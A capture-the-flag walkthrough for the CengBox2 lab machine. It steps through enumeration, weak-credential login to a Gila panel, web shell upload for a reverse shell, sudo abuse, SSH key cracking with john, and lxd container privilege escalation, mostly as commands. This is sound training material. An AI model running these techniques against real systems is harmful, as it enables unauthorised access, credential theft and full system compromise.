CengBox2 Walkthrough

Start by scanning the box with nmap –A –T4 –p- 192.168.1.15 –vv

We can see that we can login with FTP service as anonymous login and there is a file note.txt we can download:

We used anonymous:anonymous to log and download the text file with “get note.txt”

OK now there is some sort of Panel we don’t know which kind, i modified the /etc/hosts and added ceng-company.vm to it.

I used wfuzz as i don’t know the name of the Panel, first i used it as ceng-company.vm/FUZZ but i didn’t find anything, then i used it as FUZZ.ceng-company.vm and it came back with a result:

wfuzz -c -w /usr/share/wfuzz/wordlist/general/big.txt –hc 200,404,400 -H ‘Host: FUZZ.ceng-company.vm’ -u http://ceng-company.vm

I used the options hc 200 because it came back with a false positives.

Now change the /etc/hosts to admin.ceng-company.vm

Let’s use dirbuster because i couldn’t use dirb came with errors:

We got our Panel it’s Gila:

Now we login with kevin email and password, so the email is kevin@ceng-company.vm and the password is admin:

And we logged in with these credentials.

Now we upload a shell to the box, go to the side menu > Content > File Manager and in the tmp folder upload a shell file:

Open the .htaccess file and change the word “deny” to “allow” and save it

Then navigate to http://admin.ceng-company.vm/gila/tmp/shell.php to get a reverse shell back:

In home directory there are two users mitnick and Swartz, only Swartz is accessible:

The file runphp.sh is executable, and also the user www-data can run sudo:

sudo -u swartz /home/swartz/runphp.sh

pcntl_exec(‘/bin/sh’, [‘-p’]);you can find this HERE

We can now access the other user mitnick home directory and we can view hi ssh keys, which we can crack it with john.

Follow these steps:

First copy the output of the file id_rsa to new file and name it keys.txt

locate ssh2john.py

cp /usr/share/john/ssh2john.py ~

python ssh2john.py keys.txt > keys.hash

john –wordlist=/root/pass/rockyou.txt keys.hash

The password is legend and the username is mitnick, so let’s ssh to the box using these credentials, and don’t forget to change the file permission “chmod 600 keys.txt”:

Now the user mitnick is part of lxd group, so we’re going to use “LXD Alpine Linux image builder” on our machine first then transfer the file to the target box with these steps:

On our machine:

sudo ./build-alpine

sudo ./build-alpine -h

Then on the host machine we run this:

lxc image import ./apline-v3.10-x86_64-20191008_1227.tar.gz –alias image

lxc image list

lxc init image hacker -c security.privileged=true

lxc config device add hacker mydevice disk source=/ path=/mnt/root recursive=true

lxc start hacker

lxc exec hacker /bin/sh

Now the root directory will be mounted in /mnt/root/root then we catch the flag from there: